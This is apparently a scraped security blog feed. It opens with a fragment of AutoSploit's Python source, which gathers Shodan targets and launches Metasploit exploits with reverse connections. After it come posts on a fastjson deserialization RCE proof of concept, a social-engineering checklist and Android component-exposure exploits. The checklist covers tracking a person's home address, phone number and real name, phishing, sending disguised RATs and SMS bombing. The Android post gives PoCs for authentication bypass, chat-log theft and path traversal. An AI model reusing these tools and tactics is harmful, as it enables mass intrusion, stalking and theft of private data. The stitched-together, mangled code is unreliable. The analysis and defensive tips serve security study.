    hostpath = os.path.abspath("hosts.txt")

    print "\n\n\n[" + t.green("+") + "]Done."
    print "[" + t.green("+") + "]Host list saved to " + hostpath

    else:
    with open("hosts.txt", "ab") as log:
    for i in xrange(toolbar_width):
    time.sleep(0.1)
    for service in result['matches']:
    log.write(service['ip_str'])
    log.write("\n")

    # update the bar
    sys.stdout.write('\033[94m' + "|" + '\033[0m')
    sys.stdout.flush()

    hostpath = os.path.abspath("hosts.txt")

    print "\n\n\n[" + t.green("+") + "]Done."
    print "[" + t.green("+") + "]Hosts appended to list at " + hostpath


    # Function to define metasploit settings
    def settings():
    global workspace
    global local_port
    global local_host
    global configured

    os.system("clear")
    logo()

    print "[" + t.green("+") + "]MSF Settings\n"
    print "In order to proceed with the exploit module some MSF"
    print "settings need to be configured."
    time.sleep(1.5)

    print "\n[" + t.green("+") + "]Note.\n"
    print "Please make sure your Network is configured properly.\n"
    print "In order to handle incoming Reverse Connections"
    print "your external Facing IP & Port need to be reachable..."
    time.sleep(1.5)

    workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ")
    if not workspace == "":
    print "[" + t.green("+") + "]Workspace set to: " + workspace
    else:
    workspace = False

    local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ")
    if not local_host == "":
    print "[" + t.green("+") + "]Local host set to: " + repr(local_host)
    else:
    local_host = False

    local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ")
    if not local_host == "":
    print "[" + t.green("+") + "]Local port set to: " + repr(local_port)
    else:
    local_port = False

    # Check if settings are not null
    if workspace == False or local_host == False or local_port == False:
    configured = None
    print "\n[" + t.red("!") + "]Warning. LPORT, LHOST and/or workspace cannot be null"
    print "[" + t.green("+") + "]Restarting MSF Settings module."
    time.sleep(1.5)
    else:
    # If everything has been properly configured we're setting config var to true
    # When we return to the main menu loop we will use it to check to see if we
    # can skip the config stage. When the exploit component is run a second time
    configured = True

    if not os.path.isfile("hosts.txt"):
    print "[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."
    print "In order for the exploit module to work, a host file needs to be"
    print "present."
    else:
    # Call exploit function, the 'query' argument contains the search strig provided
    # in the 'gather hosts' function. We will check this string against the MSF
    # modules in order to sort out the most relevant ones with regards to the intended
    # targets.
    exploit(query)


    # Main menu
    def main():
    global query
    global configured
    global api

    try:
    api = shodan.Shodan(SHODAN_API_KEY)
    except Exception as e:
    print "\n[" + t.red("!") + "]Critical. API setup failed.\n"
    print e
    sys.exit(0)

    try:
    while True:
    # Make sure a misconfiguration in the MSF settings
    # Doesn't execute main menu loop but returns us to the
    # appropriate function for handling those settings
    if configured == None:
    settings()

    print "\n[" + t.green("+") + "]Welcome to AutoSploit. Please select an action."
    print """

    1. Usage 3. View Hosts 5. Quit
    2. Gather Hosts 4. Exploit
    """

    action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ")

    if action == '1':
    usage()

    elif action == '2':
    if not os.path.isfile("hosts.txt"):
    targets(True)
    else:
    append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower()

    if append == 'a':
    targets(False)
    elif append == 'o':
    targets(True)
    else:
    print "\n[" + t.red("!") + "]Unhandled Option."

    elif action == '3':
    if not os.path.isfile("hosts.txt"):
    print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."

    else:
    print "[" + t.green("+") + "]Printing hosts...\n\n"
    time.sleep(2)

    with open("hosts.txt", "rb") as infile:
    for line in infile:
    print "[" + t.cyan("-") + "]" + line

    print "[" + t.green("+") + "]Done.\n"

    elif action == '4':
    if not os.path.isfile("hosts.txt"):
    print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."
    print "Please make sure to gather a list of targets"
    print "by selecting the 'Gather Hosts' option"
    print "before executing the 'Exploit' module."

    if configured == True:
    exploit(query)
    elif configured == False:
    settings()

    elif action == '5':
    print "\n[" + t.red("!") + "]Exiting AutoSploit..."
    break

    else:
    print "\n[" + t.red("!") + "]Unhandled Option."

    except KeyboardInterrupt:
    print "\n[" + t.red("!") + "]Critical. User aborted."
    sys.exit(0)


    if __name__ == "__main__":
    logo()

    print "[" + t.green("+") + "]Initializing AutoSploit..."
    print "[" + t.green("+") + "]One moment please while we check the Postgresql and Apache services...\n"

    postgresql = cmdline("sudo service postgresql status | grep active")
    if "Active: inactive" in postgresql:
    print "\n[" + t.red("!") + "]Warning. Heuristics indicate Postgresql Service is offline"

    start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower()
    if start_pst == 'y':
    os.system("sudo service postgresql start")

    print "[" + t.green("+") + "]Postgresql Service Started..."
    time.sleep(1.5)

    elif start_pst == 'n':
    print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
    print "[" + t.red("!") + "]Aborted."
    time.sleep(1.5)
    sys.exit(0)
    else:
    print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service."
    os.system("sudo service postgresql start")

    print "[" + t.green("+") + "]Postgresql Service Started..."
    time.sleep(1.5)

    apache = cmdline("service apache2 status | grep active")
    if "Active: inactive" in apache:
    print "\n[" + t.red("!") + "]Warning. Heuristics indicate Apache Service is offline"

    start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower()
    if start_ap == 'y':
    os.system("sudo service apache2 start")

    print "[" + t.green("+") + "]Apache2 Service Started..."
    time.sleep(1.5)

    elif start_ap == 'n':
    print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
    print "[" + t.red("!") + "]Aborted."
    time.sleep(1.5)
    sys.exit(0)
    else:
    print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service."
    os.system("sudo service apache2 start")

    print "[" + t.green("+") + "]Apache2 Service Started..."
    time.sleep(1.5)

    # We will check if the shodan api key has been saved before, if not we are going to prompt
    # for it and save it to a file
    if not os.path.isfile("api.p"):
    print "\n[" + t.green("+") + "]Please provide your Shodan.io API key."

    SHODAN_API_KEY = raw_input("API key: ")
    pickle.dump(SHODAN_API_KEY, open("api.p", "wb"))

    path = os.path.abspath("api.p")
    print "[" + t.green("+") + "]\nYour API key has been saved to " + path

    main()
    else:
    try:
    SHODAN_API_KEY = pickle.load(open("api.p", "rb"))
    except IOError as e:
    print "\n[" + t.red("!") + "]Critical. An IO error was raised while attempting to read API data."
    print e

    path = os.path.abspath("api.p")
    print "\n[" + t.green("+") + "]Your API key was loaded from " + path

    main()
  • FastJson Unserialization

    漏洞公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

    0x00 关于漏洞

    漏洞公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

    0x01 POC分析

    参考的网上的POC

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class FastJsonPoc extends AbstractTranslet {
    public FastJsonPocCls() throws IOException {
    Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
    FastJsonPocC t = new FastJsonPocC();
    }
    }

    DEMO

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public class FastjsonVulTest {

    public static String readClass(String cls){
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try {
    IOUtils.copy(new FileInputStream(new File(cls)), bos);
    } catch (IOException e) {
    e.printStackTrace();
    }
    byte[] aa = bos.toByteArray();
    return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void test_autoTypeDeny(){
    String clsPath = "/Users/****/src/main/java/com/alibaba/middleware/FastJsonPocC.class";
    String evilCode = readClass(clsPath);
    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String testJson = "{\"@type\":\"" + NASTY_CLASS +
    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}\n";
    Object obj = JSON.parseObject(testJson, Object.class, Feature.SupportNonPublicField);

    }
    public static void main(String args[]){
    try {
    test_autoTypeDeny();
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    }

    String testJson = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}\n";

    JSONString转换成@type指定的TemplatesImpl类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    _bytecodes是恶意利用代码的字节码(FastJsonPoc)

    设置了4个属性和对应的值:_bytecodes_name_tfactory_outputProperties

    通过查看TemplatesImpl的代码发现,_tfactory_outputProperties属性没有对应getter/setter方法

    _bytecodes

    _name

    fastjson会在new TemplatesImpl实例并调用其空参构造函数之后,会依次遍历JSONString中设置的属性和值,并按顺序执行set{属性名}/get{属性名}的方法,如果不存在对应该格式的方法(get之后的第一个字母大写跟叔姓名),则直接对该对象对应的属性值进行赋值

    所以当fastjson发现在TemplatesImpl中找不到setBytecodes()/getBytecodes()方法时,会直接对TemplatesImpl中的_bytecodes属性强赋值,而不会去调用代码里面定义的setTransletBytecodes()/getTransletBytecodes()

    这样来看,_name_tfactory属性的setter/getter方法的格式是不对的,因此又被fastjson强赋值,但是当遍历到_outputProperties属性时,发现存在一个getOutputProperties()方法(然而这个方法并不是_outputProperties方法的get方法),fastjson会立即执行调用该方法

    (*上边这部分全靠参考大佬的文章才理解,不过不公开,在这说明下)*

    在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化

    0x02 代码分析

    getOutputProperties()


    newTransformer()

    getTransletInstance()

    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

    对外部传入的java字节码生成的Class对象进行实例化,此处会调用该对象的构造函数,将触发自定义的代码

    getTransletInstance()

    1
    2
    3
    4
    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
    }

    _bytecodes就是JSONString传入的字节码

    1
    2
    3
    for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    _bytecodes(外部传入的字节码)还原成class对象,执行Runtime.getRuntime.exec()

    参考:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
    https://github.com/alibaba/fastjson/wiki/security_update_20170315

  • Java Web 工程源码安全审计概略
















    0x00 框架基础

    0x0a 常见框架

    0x0b Servlet

    0x0c SpringMVC

    0x0d Spring Boot

    0x0e 其它

    0x01 面对单个应用

    0x0a 明确需求

    0x0b 确定框架

    0x0c 文件结构

    0x0d 运行流程

    0x0e 关键代码审计

    0x0f checklist + 黑盒

    0x03 权限控制风险

    0x04 其它常规漏洞

    0x05 面对十几万行代码更新

    0x0a 文件过滤

    0x0b 风险打标

    0x0c 逻辑挖掘

    0x0d 黑盒验证

    0x05 总结

  • 关于技术的纯粹

    这半年里,一直都在思考,安全是什么,黑客是什么,技术又是什么
    为什么会想这些东西呢
    在前边有篇随笔里记得说过挖过一段时间SRC,也就是现在很多人口中所谓的挖洞

    1
    Burp一开,见洞就插,遇URL就遍历

    描述的有点夸张了,不过说实话,足够的时间加上足够的细心,这些总是会挖到的
    这时候,会收到运营小姐姐的称赞,得到不菲的奖金,被称作“白帽子”“黑客”
    说到这里,需要解释一下,不是说这种模式不好,在企业安全这是不可或缺的一环,也有真正厉害的师傅在用真本事
    不过,这不是我想要的,在我看来,这并不能称之为“黑客”,所以我不再“挖洞”

    在微信上偶然看到一篇文章,作者并不认识,但从字里行间可以看出作者是一个过来人,对于现在这个浮躁的圈子说的很中肯

    1
    2
    3
    4
    5
    6
    7
    8
    第三代黑客
    1、 挖洞
    2、 挖洞
    3、 挖洞
    4、 缺少专业知识和系统化概念
    5、 爱好混迹各种沙龙
    6、 擅长斗图、getshell、各种互联网找洞。
    7、 职业规划不明确,自身定位价值偏差

    这是文中说的我们这代人,不可否认,大多数的确如此
    代码是一个黑客最基本的技能,可又有几人能说自己是一个合格的程序员
    这也是会思考上边那些东西的原因,对于自己,技术栈浅薄、通过这些行为的技术成长和时间不成正比,对于这个圈子,过于浮躁、过于追求名利

    这里插一个小故事

    tim 20171028155808

    图片里是我的一个学弟,审计处某个CMS的漏洞,通过QQ告诉开发者,什么都没有索取,开发者请喝一杯咖啡就足够高兴
    在我看来,这才是真正的黑客,技术且不论,单说这种对待技术的态度、对待金钱的态度是很珍贵的

    对于此我自愧不如,到现在才真正的看透这一点

    这里插一段上边文章中作者的建议

    1
    2
    3
    4
    1、安全不只是挖洞,甚至挖洞在乙方的工作量都占不到一般,更遑论甲方
    2、不要那么浮躁,静下心学些真正的安全技术
    3、多写点东西总没错,安全本就是综合性的能力
    4、进入安全圈,不是认识几个人,参加几次沙龙、提交几个漏洞、写过几篇挖洞或者工具利用的文章

    这些建议在个人看来是很中肯的

    本来在二十多天前就想写这篇随笔了,不过这段时间一是工作比较忙,更多的是还有一些地方没有想透,看到这篇文章的时候,好多地方写出了我所想的,遂打开电脑写下了这寥寥百字

    现在的安全圈被许多大佬戏称为“娱乐圈”,事实上也确实是这个样子,圈外的人看到的总是那些所谓噱头的比赛、公众号、各种“黑客”字眼的文章,而恰恰这些东西的作者也是局外人,浮躁的局内人和他们一起就成了这个所谓的“安全圈”

    并不是吃不到葡萄说葡萄酸,而是怀念以前的环境,更希望以后会重新变成以前的样子(不过随着国家的重视,各种心怀鬼胎的人涌入,注定会越来越浮躁)

    在乌云笼罩的日子,一个帖子如果不能有绝对的干货,一定会被pass,一个漏洞提交,如果详细度不足以让审帖人员顺利复现,一定会被pass,厂商多久不修复,一定会被曝光,大家不为钱,不为名气,纯为技术,有几十个rank值是极大的荣幸,算是黑客乌托邦吧
    这个乌托邦注定回不来了,我们可以做的也只能是构建一个小小的“世外桃源”,只为了那点技术的纯粹,享受技术的本身

    ==========================
    好久没更新技术文章了,最近在研究浏览器挖掘领域,后边会更新一些学习笔记、漏洞分析
    前路漫漫,匍匐前行

  • 社会工程学TIPS

    • 通过朋友圈的运动信息、窗外风景照或者定位确定家庭住址
    • 具体楼层通过给对方订份外卖,跟踪外卖员确认
    • 在网络上发布假消息,防止被跟踪
    • 在有qq的前提下通过qq安全中心获取手机号前三位,确定归属地
    • 通过支付宝忘记密码获取手机后二位,搜索邮箱功能获取真实名字
    • 爆破中间位数,生成手机号列表导入通讯录,通过qq匹配通讯录,查看头像等确认
    • 支付宝转账确认真实姓名
    • 将手机号添加到通讯录中,然后通过手机号的各种社交软件获取好友(重要)
    • 通过手机号获取真是微信号
    • 搜索引擎搜索以上内容
    • 有针对性的伪装打入内部,改号软件、变声软件
    • 发送伪装的RAT控制目标机器
    • IP确认物理地址
    • whois获取联系方式,邮箱反查
    • 图片原图获取经纬度信息
    • 伪装自己(灰色角色),获取信任
    • qq旧版资料卡寻找有用信息
    • 微博信息(新浪、腾讯)
    • 钓鱼页面,获取信息
    • 善用PS进行账号申诉,同时通过短信轰炸干扰对方
    • 在有收货地址的情况下,利用badusb获取目标机器权限
    • 贴吧账号找回功能获取手机后两位,微博获取后三位
    • 阿里云云市场api通过身份证号查询头像
    • 某版qq获取登陆ip
    • 构建社工库
  • Android组件暴露的安全性

    0x01 关于组件

    Android开发四大组件分别是:
    活动(Activity):用于表现功能
    服务(Service):后台运行服务,不提供界面呈现
    广播接收器(BroadcastReceiver):用于接收广播
    内容提供商(ContentProvider):支持在多个应用中存储和读取数据,相当于数据库
    外链:详细讲解

    在Android应用中,多一个组件暴露,就多一个攻击面。而攻击者就可以围绕这些攻击面进行测试,构造多种攻击手段。

    0x02 exported属性

    在AndroidManifest.xml文件中,四大组件都有android:exported属性,是个boolean值,可以为true或false
    这里有个值得注意的点
    默认值以有无intent-filter的action属性来决定,有则为true,没有则为false

    0x03 实例

    1、最常见的莫过于本地拒绝服务漏洞,四大组件都存在这个问题

    Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用crash的目的,简单的说就是攻击者通过intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃

    例如导出的Broadcast Receiver组件可以被第三方APP任意调用,如果再没有对消息进行验证,就可能导致敏感信息泄露,并可能受到权限绕过、拒绝服务等攻击风险

    e.g. 某手机管家com.tencent.qqpimsecure.service.InOutCallReceiver广播组件没有对消息进行校验,传入空消息导致NullPointerException异常

    POC:

    1
    2
    3
    4
    Intent i = new Intent();
    ComponentName componetName = new ComponentName( "com.tencent.qqpimsecure", "com.tencent.qqpimsecure.service.InOutCallReceiver");
    i.setComponent(componetName);
    sendBroadcast(i);

    漏洞详情及解决方案

    2、绕过本地认证

    私有Activity不应被其他应用启动相对是安全的(只是相对的)
    公开暴露的Activity组件,可以被任意应用启动

    e.g. 某菊花网盘绕过本地密码

    非root的话直接启动其他activity即可绕过认证,本地认证只是简单topActivity

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public void activityStart(View v) {
    ComponentName componetName = new ComponentName("com.huawei.dbank.v7",
    "com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity");
    try {
    Intent intent = new Intent();
    intent.setComponent(componetName);
    startActivity(intent);
    } catch (Exception e) {
    Toast.makeText(getApplicationContext(), "Not found", 0).show();
    }
    }
    e.g. 控制MIUI的手电筒开关(有趣的案例)

    MIUI内置的手电筒软件Stk.apk中,TorchService服务没有对广播来源进行验证,导致任何程序可以调用这个服务,打开或关闭手电筒

    1
    2
    3
    Intent intent = new Intent();
    intent.setAction("net.cactii.flash2.TOGGLE_FLASHLIGHT");
    sendBroadcast(intent);

    3、伪造消息代码执行

    广播接收器没有对消息进行安全验证,通过发送恶意的消息,攻击者可以在用户手机通知栏上推送任意消息,点击消息后可以利用webview组件盗取本地隐私文件和执行任意代码

    e.g. 某搜索引擎云盘
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    Intent i = new Intent();
    i.setAction("com.baidu.android.pushservice.action.MESSAGE");
    Bundle b = new Bundle();
    try {
    JSONObject jsobject = new JSONObject();
    JSONObject custom_content_js = new JSONObject();
    jsobject.put("title", "xxxxxxxxxxx");
    jsobject.put("description", "")
    jsobject.put("url", "http://drops.wooyun.org/webview.html");
    JSONObject customcontent_js = new JSONObject();
    customcontent_js.put("type", "1");
    customcontent_js.put("msg_type", "resources_push");
    customcontent_js.put("uk", "1");
    customcontent_js.put("shareId", "1");
    jsobject.put("custom_content", customcontent_js);
    String cmd = jsobject.toString();
    b.putByteArray("message", cmd.getBytes("UTF-8"));
    } catch (Exception e) {
    e.printStackTrace();
    }

    e.g. 优酷Android 4.5客户端升级漏洞

    com.youku.service.push.StartActivityService组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    PushMsg pushMsg = new PushMsg();
    pushMsg.type = 1;
    pushMsg.updateurl = "http://**.**.**.**/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
    pushMsg.updatecontent = "This is Fake";
    Intent intent = new Intent();
    intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
    intent.putExtra("PushMsg", pushMsg);
    startService(intent);

    4、敏感信息泄漏

    e.g. 某应用隐式intent发送敏感信息

    缺陷代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class ServerService extends Service {
    private void d() {
    Intent v1 = new Intent();
    v1.setAction("com.sample.action.server_running");
    v1.putExtra("local_ip", v0.h);
    v1.putExtra("port", v0.i);
    v1.putExtra("code", v0.g);
    v1.putExtra("connected", v0.s);
    v1.putExtra("pwd_predefined", v0.r);
    if (!TextUtils.isEmpty(v0.t)) {
    v1.putExtra("connected_usr", v0.t);
    }
    }
    this.sendBroadcast(v1);
    }

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public class BcReceiv extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent){
    String s = null;
    if (intent.getAction().equals("com.sample.action.server_running")){
    String pwd = intent.getStringExtra("connected");
    s = "Airdroid => [" + pwd + "]/" + intent.getExtras();
    }
    Toast.makeText(context, String.format("%s Received", s),
    Toast.LENGTH_SHORT).show();
    }
    }

    5、提升权限

    e.g. 某系统清理工具

    暴露了com.cleanmaster.appwidget.WidgetService服务组件,当向此服务发送action为com.cleanmaster.appwidget.ACTION_FASTCLEAN的intent时,便可结束后台运行的一些app进程

    6、Content Provider 暴露泄露敏感信息

    Content Provider 用来存放和获取数据并使这些数据可以被所有的应用程序访问,是应用程序之间共享数据的唯一方法

    e.g. 一只眼app应用本地信息泄露

    任意Android程序不需要任何权限就能获取本机一支眼app的所有数据,包括账号、私信聊天记录

    查看聊天记录POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public void getChatMsg() {
    String[] projection = {"* from im_message_table--"};
    Uri uri = Uri.parse("content://com.sina.weibo.blogProvider/query/im");
    Cursor mCursor = getContentResolver().query(uri, projection, null, null, null);
    if (null == mCursor) {
    Toast.makeText(mContext, "null cursor", Toast.LENGTH_SHORT).show();
    } else if (mCursor.getCount() < 1) {
    Toast.makeText(mContext, "count less than 1", Toast.LENGTH_SHORT).show();
    } else {
    String text = "";
    while (mCursor.moveToNext()) {
    text += mCursor.getString(mCursor.getColumnIndex("content"));
    }
    mTextView.setText(text);
    }
    }

    7、任意文件读取漏洞

    e.g. 某客户端Content Provider组件任意文件读取漏洞

    某客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件,默认的android:exported=”true”,对应com.ganji.android.jobs.html5.LocalFileContentProvider,该Provider实现了openFile()接口,通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过”../“实现目录跨越,实现对任意私有数据的访问

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public void GJContentProviderFileOperations(){ 
    try{
    InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];
    int n = in.read(buffer);
    while(n>0){
    out.write(buffer, 0, n);
    n = in.read(buffer);
    Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
    }
    }catch(Exception e){
    debugInfo(e.getMessage());
    }
    }

    漏洞详解

    8、启动私有组件(这就是前边提到的,私有组件也仅仅是相对安全的)

    存在一个私有组件A,和一个对外导出组件B。如果B能够根据对外传入的Intent中的内容打开私有组件A,同时启动私有组件A的Intent的内容来自启动导出组件B的Intent的内容,那么攻击者就可以通过对外导出组件B,去控制私有导出组件A。这就可能会造成严重的安全风险
    这里详细的看下聚安全的这篇paper

    其实还有很多没有列出,如UXSS、界面劫持、services劫持等等

    0x04 简单自测

    1、反编译APK或直接查看源代码

    查看AndroidManifest.xml文件,查看哪些组件是导出的,仔细check是否需要导出,需要导出的是否都已做了相应的安全限制

    2、drozer扫描

    run app.activity.info -a packagename

    0x05 防患于未然

    1、能不导出组件的坚决不导出
    2、必须导出的组件仔细check限制策略是否到位
    3、检查该组件能不能根据该组件的intent去启动其他私有组件
    4、如果能启动私有组件,根据业务严格控制过滤和校验intent中的内容,同时被启动的私有组件需要做好各种安全防范

    关于漏洞例子:本来想用最近遇到的问题来做实例,但考虑到漏洞的敏感性,找的是网上公开的漏洞